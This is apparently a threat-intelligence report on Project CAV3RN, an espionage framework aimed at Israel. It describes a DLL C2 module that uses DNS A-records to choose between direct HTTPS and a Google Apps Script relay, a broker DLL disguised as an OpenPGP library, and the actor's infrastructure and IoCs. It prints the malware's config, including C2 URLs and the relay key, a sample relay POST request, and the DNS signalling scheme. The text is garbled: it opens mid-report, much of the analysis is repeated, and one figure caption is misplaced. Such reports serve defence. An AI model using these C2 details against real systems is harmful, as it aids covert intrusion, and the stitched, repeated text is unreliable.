location: https://script.googleusercontent.com/macros/echo?user_content_key=AUkAhnT1XStTpObO…&lib=MQif1e23CL4IxZSlC7RWEgUDuxmmFKhYR
server: GSE

HTTP/2 200
content-type: application/json; charset=utf-8
access-control-allow-origin: *
server: GSE

{"s":200,"h":{"Content-Type":"text/html; charset=utf-8","Vary":"Cookie","Server":"nginx","Content Length":"4","Connection":"keep-alive","Date":"Mon, 03 Aug 2026 20:07:54 GMT","Access-Control-Allow-Origin":"*"},"b":"OS9FPQ=="}

Decoding b produces 9/E=; decoding it again produces f7 f1, which XORs with 0xAC to [], indicating an empty task list. An upstream timeout also exposed https://api.studiotikva[.]com/ac, confirming that the Apps Script deployment forwards requests to an actor-controlled backend.

Direct HTTPS channel

When DNS selects Direct HTTPS, the module contacts the configured ad address, https://api.studiotikva[.]com/api/v1/update/check, without using the relay. This occurs when the final octet is 130 (0x82) in the None, GIDFailed, or GoogleFailed states, or 120 (0x78) in the GIDFailed or GoogleFailed states. The endpoint expects the custom X-Client-Id header; requests without the expected header return {"res":"failed"} in its HTTP response.

However, a GET request carrying the correct X-Client-Id value receives a 76-byte body as shown in the following figure:

Wireshark capture showing the .p query sequence used for chunked retrieval of the Google Apps Script deployment ID

GET request to the header-gated C2 endpoint and its encoded tasking response

Base64-decoding the response body and XORing it with 0xAC produced the following broker-directed task packet: [{"type":"broker","cid":109,"payload":"002_;;__,_"}]. The broker type instructs the communication module to forward the task to the local broker.

Inter-component DLL broker

The inter-component broker, rnp.dll, is a 64-bit DLL compiled with Microsoft Visual C++. Its embedded PDB path is C:\Users\user\Desktop\Modules\broker-cavern\1.out\rnp.pdb. It masquerades as the RNP OpenPGP library through numerous rnp_* exports, while rnp_backend_string starts the broker.

The broker coordinates the framework’s DLL components. At startup, it creates the BROKER control structure, initializes its message dispatcher, and scans the host directory for DLLs. Components are grouped by CompanyName, and the highest-version candidate from each group is loaded if it exposes GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate.

The directory is rescanned every second, allowing a component to be added or upgraded without restarting the host. Updates require a higher-version DLL under a new path; replacing an existing file in place is not detected.

Loaded components exchange messages through the broker. It locates the requested destination and invokes that component’s callback. Unknown destinations return Err1::<destination>, while unavailable components return Err2::<destination>.

Command Function
000 Lists loaded component names and versions
001 Lists every DLL path discovered by the scanner
002 Lists each loaded component’s path, name, and version

The 002_;;__,_ task recovered from the Direct HTTPS channel is forwarded by the communication module to this broker, which returns its component inventory. When unloading or replacing a component, the broker calls its IsPrimeNumber export and waits for its worker threads to stop before unloading the DLL.

Infrastructure

Historical records show that studiotikva[.]com was first registered in February 2024. Wayback Machine captures show Wix’s default disconnected-domain page, while passive DNS associated the domain with Wix infrastructure hosted in an Israeli data center. The domain expired in February 2026 and was subsequently re-registered. It may therefore have originally belonged to a legitimate Israeli business and been acquired by the threat actor only after its expiration; the available evidence does not indicate when ownership changed.

The domain was registered again on May 12, 2026, and redelegated on May 19 to ns1.studiotikva[.]com and ns2.studiotikva[.]com, resolving to 144.172.115[.]17 and 144.172.104[.]82. It later hosted a generic “Studio Tikva” website that provided locally plausible cover: “Tikva” (תקווה) means “hope” in Hebrew.

The infrastructure supported authoritative DNS and direct HTTPS C2. The Google Apps Script deployment acted as an application-layer relay; during an upstream timeout, it exposed https://api.studiotikva[.]com/ac, revealing the actor-controlled backend endpoint.

Domain Registrar IP Hosting ASN
studiotikva[.]com
api.studiotikva[.]com
ns1.studiotikva[.]com
ns2.studiotikva[.]com
Dynadot Inc 144.172.115[.]17
144.172.104[.]82
RouterHosting LLC AS 14956

Conclusions

Project CAV3RN continues to evolve, introducing increasingly sophisticated components and communication capabilities. By abusing legitimate services — previously Outlook calendar events and now Google Apps Script — the framework blends its C2 traffic with normal network activity, complicating network-based detection. Given its development pace, modular design, and operational tempo, we assess that CAV3RN will likely continue to expand. We will continue tracking the framework and reporting on its activity in the wild.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

904784c9943d019da332bea2cd03996f              CommunicationUxTheme.dll
f9156d42410c8a5429dec43329bd72e0              net.dll
2dcd4a8ac166404977cd3c48418a8cd9              rnp.dll
981c7404d31b8ce35ec88a6b290f354d              GoogleService.dll
34d50eec364d920b8b5d885c9bc98607             texture.dll

Domains and IPs

studiotikva[.]com
api.studiotikva[.]com
ns1.studiotikva[.]com
ns2.studiotikva[.]com
144.172.115[.]17
144.172.104[.]82

  •  

Project CAV3RN continues: Google Apps Script as C2 relay and DNS-based C2 channel selection

Project CAV3RN is a modular espionage framework used against targets in Israel. This report expands on two earlier publications: the first was published in June 2026 as part of our Kaspersky Threat Intelligence Reporting service, and the second was published on Securelist the following month, further documenting the framework’s evolving architecture and C2 capabilities.

Continued tracking of this cluster in early August 2026 uncovered several previously undocumented components that expanded the framework’s communication and orchestration capabilities. The main finding is a complex C2 module that uses DNS A-record responses to choose between direct HTTPS and a Google Apps Script relay for each transaction. The same DNS infrastructure can validate and replace the relay deployment ID, allowing the operator to rotate the Google channel.

We also identified the framework’s local broker, which discovers and loads DLL components, routes messages between them, and supports runtime upgrades.

Multi-transport C2 communication module

The communication module, GoogleService.dll, is a 64-bit DLL compiled with Microsoft .NET 8 NativeAOT. Its PDB path is:

C:\Users\user\Desktop\Modules\broker-cavern\communication\GoogleCommunication\bin\Release\net8.0\win-x64\native\GoogleService.pdb

NativeAOT data also revealed references to eight source files, including the Direct.cs, FindMode.cs, and Google.cs.

The DLL exports GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate. During initialization, its host (local broker) registers the module’s callback and starts CheckAvailability. After three seconds, the module sends a type-0 frame to the fixed identifier 33A4BA78-E286-4FF2-85EC-7365265F3D93. The broker returns Err1::33A4BA78-E286-4FF2-85EC-7365265F3D93, which the module expects and uses to learn the broker’s name before starting its C2 worker.

C2 packets contain type, cid, and payload fields. Packets of the type icmgdd are processed by the communication module itself, while other types, including broker, are forwarded to the local broker. Within command payloads, _;;_ separates the command from its arguments and _,_ separates individual arguments.

At startup, the worker internally sends:

{"type":"icmgdd","cid":0,"payload":"s_version_;;_"}

The s_version handler enumerates DLLs under AppContext.BaseDirectory, collects their company names and versions, and appends the communication module’s name/version and the local broker’s name. This inventory is serialized as JSON, XORed with 0xAC, Base64-encoded, and sent as the module’s initial C2 report.

The module supports five internal commands:

Command Functionality
s_version Returns the DLL-version inventory described above. The command is executed automatically at startup.
s_config Returns the active configuration and, when provided with a JSON configuration object, replaces it in memory.
s_enLog Enables diagnostic logging at the Debug level.
s_deLog Disables diagnostic logging and sets the logging level to Fatal.
s_write Base64-decodes and GZip-decompresses provided data before writing it to the specified file path.

The module reads conf.json from the process’s current working directory. If it is missing, the module generates a seven-character client identifier and writes its embedded defaults to disk.

{
  "to": "<generated seven-character ID>", // Client ID
  "ad": "https://api.studiotikva.com/api/v1/update/check", // Direct C2 URL
  "ho": "studiotikva.com", // DNS domain
  "gi": "<redacted>", // Apps Script deployment ID
  "de": false, // Enable Debug logging at startup
  "mi": 120000, // Poll-delay reset after a non-empty response
  "ma": 18000000, // Progressive poll-delay cap
  "ri": 30000, // Base DNS recovery/error delay, with positive jitter
  "ga": "s3criitC0d3/8-)B-,)", // Apps Script relay authentication key
  "gu": "https://script.google.com/macros/s/{0}/exec",
  "ua": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31",
  "mcc": 50, // unknown
  "mtc": 10 // unknown
}

The s_config command can replace these settings in memory but does not update the file. DNS recovery is the exception: a recovered Apps Script deployment ID is written back to conf.json.

Before polling for commands or sending a result, the module performs a DNS A-record query to select Direct HTTPS or Google Apps Script:

<random nonce><error state>.<hex-encoded client ID>.m.studiotikva.com

The first label combines a three- or four-character uppercase alphanumeric nonce with the current error state: 0 for None, 1 for GIDFailed, 2 for GoogleFailed, and 3 for DirectFailed. Each new transaction starts in state 0.

The exact response 12.19.29[.]30 is treated as a rejection. Other responses are interpreted according to their fourth octet:

Fourth octet None (0) GIDFailed (1) GoogleFailed (2) DirectFailed (3)
120 (0x78) Google Apps Script Direct HTTPS Direct HTTPS Google Apps Script
130 (0x82) Direct HTTPS Direct HTTPS Direct HTTPS Close the transaction (no channel)
140 (0x8C) Exception Exception Exception Exception
All other values Google Apps Script Google Apps Script Google Apps Script Google Apps Script

During analysis, valid .m queries returned 12.121.234[.]120, while malformed queries returned 12.19.29[.]30. For example, YCZ2.41414141303030.m.studiotikva[.]com carries state 2, so the final octet 120 selects Direct HTTPS.

CAV3RN DNS control-plane response: the final octet 120 selects the direct HTTPS channel

CAV3RN DNS control-plane response: the final octet 120 selects the direct HTTPS channel

When Google mode is selected, the module calculates the MD5 digest of its stored deployment ID and compares its first four bytes with the A record returned by <random5>.<hex-ID>.q.studiotikva[.]com. A mismatch causes the module to retrieve a replacement through .p queries: <random5>.<hex-ID>.p.studiotikva[.]com.

DNS-based deployment-ID freshness check

DNS-based deployment-ID freshness check

The offset-0 response contains a one-byte length followed by the first three ID bytes. Each subsequent response contributes four bytes. The observed response 74.65.75.102 represents 4A 41 4B 66: a length of 74 followed by AKf. The DLL stops after collecting the declared length and discards the final padding byte rather than requesting offset 76.

DNS recovery of the Google Apps Script deployment ID: the offset-0 response contains the length byte and first three ID characters, followed by four-byte continuation chunks

DNS recovery of the Google Apps Script deployment ID: the offset-0 response contains the length byte and first three ID characters, followed by four-byte continuation chunks

One initial response and 18 continuation responses produced a 74-character deployment ID, shown redacted as AKfycby46v0DPSEKWYa****dvQ. The .q response 247.188.216[.]122 contains the bytes f7 bc d8 7a, matching the first four MD5 bytes of the recovered value. This is a 32-bit freshness check.

Wireshark capture showing the .p query sequence used for chunked retrieval of the Google Apps Script deployment ID

Google Apps Script channel

When DNS selects Google mode, the module inserts the deployment ID into https://script.google[.]com/macros/s/{deployment-ID}/exec.

Direct GET requests return a decoy page titled My App with the message This application is running normally. C2 polling instead uses an outer POST to Apps Script whose "m":"GET" field instructs the relay to issue a GET request to its upstream server:

POST /macros/s/AKfycbw2Wo4nYIQ*************UxSvjunDmNpeA/exec HTTP/1.1
Host: script.google.com
Content-Type: application/json

{"k":"s3criitC0d3/8-)B-,)","m":"GET","h":{"X-Client-Id":"AAAA000","User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31"},"b":null,"ct":null,"r":true}

The request returns a 302 redirect; a redirect-following client subsequently receives a 200 OK serving the response:

HTTP/2 302
content-type: text/html; charset=UTF-8
access-control-allow-origin: *
location: https://script.googleusercontent.com/macros/echo?user_content_key=AUkAhnT1XStTpObO…&lib=MQif1e23CL4IxZSlC7RWEgUDuxmmFKhYR
server: GSE

HTTP/2 200
content-type: application/json; charset=utf-8
access-control-allow-origin: *
server: GSE

{"s":200,"h":{"Content-Type":"text/html; charset=utf-8","Vary":"Cookie","Server":"nginx","Content Length":"4","Connection":"keep-alive","Date":"Mon, 03 Aug 2026 20:07:54 GMT","Access-Control-Allow-Origin":"*"},"b":"OS9FPQ=="}

Decoding b produces 9/E=; decoding it again produces f7 f1, which XORs with 0xAC to [], indicating an empty task list. An upstream timeout also exposed https://api.studiotikva[.]com/ac, confirming that the Apps Script deployment forwards requests to an actor-controlled backend.

Direct HTTPS channel

When DNS selects Direct HTTPS, the module contacts the configured ad address, https://api.studiotikva[.]com/api/v1/update/check, without using the relay. This occurs when the final octet is 130 (0x82) in the None, GIDFailed, or GoogleFailed states, or 120 (0x78) in the GIDFailed or GoogleFailed states. The endpoint expects the custom X-Client-Id header; requests without the expected header return {"res":"failed"} in its HTTP response.

However, a GET request carrying the correct X-Client-Id value receives a 76-byte body as shown in the following figure:

Wireshark capture showing the .p query sequence used for chunked retrieval of the Google Apps Script deployment ID

GET request to the header-gated C2 endpoint and its encoded tasking response

Base64-decoding the response body and XORing it with 0xAC produced the following broker-directed task packet: [{"type":"broker","cid":109,"payload":"002_;;__,_"}]. The broker type instructs the communication module to forward the task to the local broker.

Inter-component DLL broker

The inter-component broker, rnp.dll, is a 64-bit DLL compiled with Microsoft Visual C++. Its embedded PDB path is C:\Users\user\Desktop\Modules\broker-cavern\1.out\rnp.pdb. It masquerades as the RNP OpenPGP library through numerous rnp_* exports, while rnp_backend_string starts the broker.

The broker coordinates the framework’s DLL components. At startup, it creates the BROKER control structure, initializes its message dispatcher, and scans the host directory for DLLs. Components are grouped by CompanyName, and the highest-version candidate from each group is loaded if it exposes GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate.

The directory is rescanned every second, allowing a component to be added or upgraded without restarting the host. Updates require a higher-version DLL under a new path; replacing an existing file in place is not detected.

Loaded components exchange messages through the broker. It locates the requested destination and invokes that component’s callback. Unknown destinations return Err1::<destination>, while unavailable components return Err2::<destination>.

Command Function
000 Lists loaded component names and versions
001 Lists every DLL path discovered by the scanner
002 Lists each loaded component’s path, name, and version

The 002_;;__,_ task recovered from the Direct HTTPS channel is forwarded by the communication module to this broker, which returns its component inventory. When unloading or replacing a component, the broker calls its IsPrimeNumber export and waits for its worker threads to stop before unloading the DLL.

Infrastructure

Historical records show that studiotikva[.]com was first registered in February 2024. Wayback Machine captures show Wix’s default disconnected-domain page, while passive DNS associated the domain with Wix infrastructure hosted in an Israeli data center. The domain expired in February 2026 and was subsequently re-registered. It may therefore have originally belonged to a legitimate Israeli business and been acquired by the threat actor only after its expiration; the available evidence does not indicate when ownership changed.

The domain was registered again on May 12, 2026, and redelegated on May 19 to ns1.studiotikva[.]com and ns2.studiotikva[.]com, resolving to 144.172.115[.]17 and 144.172.104[.]82. It later hosted a generic “Studio Tikva” website that provided locally plausible cover: “Tikva” (תקווה) means “hope” in Hebrew.

The infrastructure supported authoritative DNS and direct HTTPS C2. The Google Apps Script deployment acted as an application-layer relay; during an upstream timeout, it exposed https://api.studiotikva[.]com/ac, revealing the actor-controlled backend endpoint.

Domain Registrar IP Hosting ASN
studiotikva[.]com
api.studiotikva[.]com
ns1.studiotikva[.]com
ns2.studiotikva[.]com
Dynadot Inc 144.172.115[.]17
144.172.104[.]82
RouterHosting LLC AS 14956

Conclusions

Project CAV3RN continues to evolve, introducing increasingly sophisticated components and communication capabilities. By abusing legitimate services — previously Outlook calendar events and now Google Apps Script — the framework blends its C2 traffic with normal network activity, complicating network-based detection. Given its development pace, modular design, and operational tempo, we assess that CAV3RN will likely continue to expand. We will continue tracking the framework and reporting on its activity in the wild.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

904784c9943d019da332bea2cd03996f              CommunicationUxTheme.dll
f9156d42410c8a5429dec43329bd72e0              net.dll
2dcd4a8ac166404977cd3c48418a8cd9              rnp.dll
981c7404d31b8ce35ec88a6b290f354d              GoogleService.dll
34d50eec364d920b8b5d885c9bc98607             texture.dll

Domains and IPs

studiotikva[.]com
api.studiotikva[.]com
ns1.studiotikva[.]com
ns2.studiotikva[.]com
144.172.115[.]17
144.172.104[.]82

  •  
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